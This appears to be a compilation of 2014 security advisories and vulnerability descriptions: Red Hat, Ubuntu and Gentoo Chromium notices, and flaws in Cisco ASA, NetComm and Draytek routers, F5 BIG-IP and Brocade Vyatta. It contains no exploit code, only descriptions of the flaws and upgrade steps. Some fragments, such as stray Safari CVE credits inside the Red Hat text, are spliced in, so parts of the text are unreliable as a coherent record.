CVE-2014-3189 CVE-2014-3198 chromium: OOB reads in PDFium fixed in Chrome 38.0.2125.101 1151381 - CVE-2014-3190 CVE-2014-3191 CVE-2014-3193 CVE-2014-3199 chromium: multiple security fixes in Chrome 38.0.2125.101 1151383 - CVE-2014-3194 chromium: use-after-free issue in Web Workers fixed in Chrome 38.0.2125.101 1151395 - CVE-2014-3192 chromium: use-after-free in DOM, fixed in Chrome 38.0.2125.101 1151422 - CVE-2014-3197 chromium: information leak in XSS Auditor fixed in Chrome 38.0.2125.101 1151425 - CVE-2014-3200 chromium: multiple unspecified issues fixed in Chrome 38.0.2125.101 6. Package List: Red Hat Enterprise Linux Desktop Supplementary (v. 6): Source: chromium-browser-38.0.2125.101-2.el6_6.src.rpm i386: chromium-browser-38.0.2125.101-2.el6_6.i686.rpm chromium-browser-debuginfo-38.0.2125.101-2.el6_6.i686.rpm x86_64: chromium-browser-38.0.2125.101-2.el6_6.x86_64.rpm chromium-browser-debuginfo-38.0.2125.101-2.el6_6.x86_64.rpm Red Hat Enterprise Linux Server Supplementary (v. 6): Source: chromium-browser-38.0.2125.101-2.el6_6.src.rpm i386: chromium-browser-38.0.2125.101-2.el6_6.i686.rpm chromium-browser-debuginfo-38.0.2125.101-2.el6_6.i686.rpm x86_64: chromium-browser-38.0.2125.101-2.el6_6.x86_64.rpm chromium-browser-debuginfo-38.0.2125.101-2.el6_6.x86_64.rpm Red Hat Enterprise Linux Workstation Supplementary (v. 6): Source: chromium-browser-38.0.2125.101-2.el6_6.src.rpm i386: chromium-browser-38.0.2125.101-2.el6_6.i686.rpm chromium-browser-debuginfo-38.0.2125.101-2.el6_6.i686.rpm x86_64: chromium-browser-38.0.2125.101-2.el6_6.x86_64.rpm chromium-browser-debuginfo-38.0.2125.101-2.el6_6.x86_64.rpm These packages are GPG signed by Red Hat for security. Our key and details on how to verify the signature are available from https://access.redhat.com/security/team/key/#package 7. References: https://www.redhat.com/security/data/cve/CVE-2014-3188.html https://www.redhat.com/security/data/cve/CVE-2014-3189.html https://www.redhat.com/security/data/cve/CVE-2014-3190.html https://www.redhat.com/security/data/cve/CVE-2014-3191.html https://www.redhat.com/security/data/cve/CVE-2014-3192.html https://www.redhat.com/security/data/cve/CVE-2014-3193.html https://www.redhat.com/security/data/cve/CVE-2014-3194.html https://www.redhat.com/security/data/cve/CVE-2014-3195.html https://www.redhat.com/security/data/cve/CVE-2014-3197.html https://www.redhat.com/security/data/cve/CVE-2014-3198.html https://www.redhat.com/security/data/cve/CVE-2014-3199.html https://www.redhat.com/security/data/cve/CVE-2014-3200.html https://access.redhat.com/security/updates/classification/#critical http://googlechromereleases.blogspot.com/2014/10/stable-channel-update.html 8. Contact: The Red Hat security contact is <secalert@redhat.com>. More contact details at https://access.redhat.com/security/team/contact/ Copyright 2014 Red Hat, Inc. CVE-ID CVE-2014-3192 : cloudfuzzer CVE-2014-4476 : Apple CVE-2014-4477 : lokihardt@ASRT working with HP's Zero Day Initiative CVE-2014-4479 : Apple Safari 8.0.3, Safari 7.1.3, and Safari 6.2.3 may be obtained from the Mac App Store. ============================================================================ Ubuntu Security Notice USN-2345-1 October 14, 2014 oxide-qt vulnerabilities ============================================================================ A security issue affects these releases of Ubuntu and its derivatives: - Ubuntu 14.04 LTS Summary: Several security issues were fixed in Oxide. (CVE-2014-3179, CVE-2014-3200) It was discovered that Chromium did not properly handle the interaction of IPC and V8. (CVE-2014-3188) A use-after-free was discovered in the web workers implementation in Chromium. (CVE-2014-3194) It was discovered that V8 did not correctly handle Javascript heap allocations in some circumstances. If a user were tricked in to opening a specially crafted website, an attacker could potentially exploit this to steal sensitive information. (CVE-2014-3195) It was discovered that Blink did not properly provide substitute data for pages blocked by the XSS auditor. If a user were tricked in to opening a specially crafter website, an attacker could potentially exploit this to steal sensitive information. (CVE-2014-3197) It was discovered that the wrap function for Event's in the V8 bindings in Blink produced an erroneous result in some circumstances. If a user were tricked in to opening a specially crafted website, an attacker could potentially exploit this to cause a denial of service by stopping a worker process that was handling an Event object. (CVE-2014-3199) Multiple security issues were discovered in V8. (CVE-2014-7967) Update instructions: The problem can be corrected by updating your system to the following package versions: Ubuntu 14.04 LTS: liboxideqtcore0 1.2.5-0ubuntu0.14.04.1 oxideqt-codecs 1.2.5-0ubuntu0.14.04.1 oxideqt-codecs-extra 1.2.5-0ubuntu0.14.04.1 In general, a standard system update will make all the necessary changes. - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Gentoo Linux Security Advisory GLSA 201412-13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - http://security.gentoo.org/ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Severity: Normal Title: Chromium: Multiple vulnerabilities Date: December 13, 2014 Bugs: #524764, #529858 ID: 201412-13 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Synopsis ======== Multiple vulnerabilities have been found in Chromium, the worst of which can allow remote attackers to execute arbitrary code. Affected packages ================= ------------------------------------------------------------------- Package / Vulnerable / Unaffected ------------------------------------------------------------------- 1 www-client/chromium < 39.0.2171.65 >= 39.0.2171.65 Description =========== Multiple vulnerabilities have been discovered in Chromium. Please review the CVE identifiers referenced below for details. Workaround ========== There is no known workaround at this time. Resolution ========== All Chromium users should upgrade to the latest version: # emerge --sync # emerge --ask --oneshot -v ">=www-client/chromium-39.0.2171.65" References ========== [ 1 ] CVE-2014-3188 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3188 [ 2 ] CVE-2014-3189 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3189 [ 3 ] CVE-2014-3190 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3190 [ 4 ] CVE-2014-3191 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3191 [ 5 ] CVE-2014-3192 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3192 [ 6 ] CVE-2014-3193 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3193 [ 7 ] CVE-2014-3194 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3194 [ 8 ] CVE-2014-3195 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3195 [ 9 ] CVE-2014-3197 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3197 [ 10 ] CVE-2014-3198 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3198 [ 11 ] CVE-2014-3199 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3199 [ 12 ] CVE-2014-3200 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-3200 [ 13 ] CVE-2014-7899 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7899 [ 14 ] CVE-2014-7900 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7900 [ 15 ] CVE-2014-7901 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7901 [ 16 ] CVE-2014-7902 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7902 [ 17 ] CVE-2014-7903 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7903 [ 18 ] CVE-2014-7904 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7904 [ 19 ] CVE-2014-7906 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7906 [ 20 ] CVE-2014-7907 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7907 [ 21 ] CVE-2014-7908 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7908 [ 22 ] CVE-2014-7909 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7909 [ 23 ] CVE-2014-7910 http://nvd.nist.gov/nvd.cfm?cvename=CVE-2014-7910 Availability ============ This GLSA and any updates to it are available for viewing at the Gentoo Security Website: http://security.gentoo.org/glsa/glsa-201412-13.xml Concerns? ========= Security is a primary focus of Gentoo Linux and ensuring the confidentiality and security of our users' machines is of utmost importance to us. Any security concerns should be addressed to security@gentoo.org or alternatively, you may file a bug at https://bugs.gentoo.org. License ======= Copyright 2014 Gentoo Foundation, Inc; referenced text belongs to its owner(s). The contents of this document are licensed under the Creative Commons - Attribution / Share Alike license. http://creativecommons.org/licenses/by-sa/2.5

The SSL VPN implementation in Cisco Adaptive Security Appliance (ASA) Software 9.2(.2.4) and earlier does not properly manage session information during creation of a SharePoint handler, which allows remote authenticated users to overwrite arbitrary RAMFS cache files or inject Lua programs, and consequently cause a denial of service (portal outage or system reload), via crafted HTTP requests, aka Bug ID CSCup54208. Cisco Adaptive Security Appliance (ASA) Software is prone to a vulnerability that may allow attackers to overwrite arbitrary local files. Successful exploits may allow an attacker to overwrite arbitrary files on the RAMFS cache or inject Lua scripts, causing a denial of service condition. This issue is being tracked by Cisco Bug ID CSCup54208. The vulnerability stems from the improper management of session information when the program creates the SharePoint handler

Cross-site scripting (XSS) vulnerability in wlsecurity.html on NetCommWireless NB604N routers with firmware before GAN5.CZ56T-B-NC.AU-R4B030.EN allows remote attackers to inject arbitrary web script or HTML via the wlWpaPsk parameter. NetComm Wireless Provided by NB604N Is Wireless -> Security page (wlsecurity.html) Variables that are not sanitized wlWpaPsk Value of Javascript variable wpaPskKey Stored cross-site scripting vulnerability (CWE-79) Exists. The NetCommWireless NB604N is a router device. Sensitive information or hijacking user sessions. NetCommWireless NB604N is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks. NetCommWireless NB604N GAN5.CZ56T-B-NC.AU-R4B010.EN is vulnerable; other versions may also be affected. NetComm Wireless NB604N Routers is a wireless router product of Australia NetComm Wireless company

Draytek Vigor 2130 Router is a wireless router product with firewall function from DrayTek. Code injection vulnerabilities and cross-site request forgery vulnerabilities exist in Draytek Vigor 2130 routers with firmware versions prior to 1.5.4.9. Attackers can use these vulnerabilities to bypass security restrictions, gain system access and sensitive information, perform unauthorized administrator operations, and steal cookie-based authentication certificates. Draytek Vigor 2130 router is prone to the following security vulnerabilities: 1. A command-injection vulnerability 2. Other attacks are also possible

Rejected reason: DO NOT USE THIS CANDIDATE NUMBER. ConsultIDs: CVE-2014-6032. Reason: This candidate is a duplicate of CVE-2014-6032. Notes: All CVE users should reference CVE-2014-6032 instead of this candidate. All references and descriptions in this candidate have been removed to prevent accidental usage. F5 Networks BIG-IP is prone to an XML External Entity injection vulnerability. Attackers can exploit this issue to obtain potentially sensitive information and to carry out other attacks. F5 BIG-IP LTM, etc. are all products of F5 Company in the United States. LTM is a local traffic manager; APM is a solution that provides secure unified access to business-critical applications and networks. A security vulnerability exists in the Configuration utility of several F5 products. A remote attacker could exploit this vulnerability to read arbitrary files or cause a denial of service. The following products and versions are affected: F5 BIG-IP LTM, ASM, GTM, Link Controller Version 11.0 to 11.6.0 and 10.0.0 to 10.2.4, AAM 11.4.0 to 11.6.0, ARM 11.3 .0 to 11.6.0, Analytics 11.0.0 to 11.6.0, APM and Edge Gateway 11.0 to 11.6.0 and 10.1.0 to 10.2.4, PEM 11.3.0 to 11.6. 0, PSM 11.0.0 to 11.4.1 and 10.0.0 to 10.2.4, WOM 11.0.0 to 11.3.0 and 10.0.0 to 10.2.4, Enterprise Manager 3.0.0 Version to version 3.1.1 and version 2.1.0 to version 2.3.0

The management console on the Brocade Vyatta 5400 vRouter 6.4R(x), 6.6R(x), and 6.7R1 allows remote authenticated users to execute arbitrary Linux commands via shell metacharacters in a console command. Brocade Vyatta 5400 vRouter versions 6.4R(x), 6.6R(x), and 6.7R1 contain multiple vulnerabilities. Brocade Vyatta 5400 vRouter enables organizations to build advanced, multi-layered networks in a virtualized environment to add, configure, and move network services as needed. Brocade Vyatta 5400 vRouter fails to properly handle user-submitted (`) characters, allowing remote attackers to exploit vulnerabilities to submit special requests, inject OS commands and execute them. A command-injection vulnerability 2. A security-bypass vulnerability 3. A remote code-execution vulnerability An attacker can exploit these issues to bypass certain security restrictions, obtain sensitive information and execute script code and shell commands with root privileges. This may aid in further attacks. Brocade Vyatta 5400 vRouter is a set of Brocade Corporation that provides a series of network function virtualization (NFV) solutions. The following versions are affected: Brocade Vyatta 5400 vRouter version 6.4, version 6.6 and version 6.7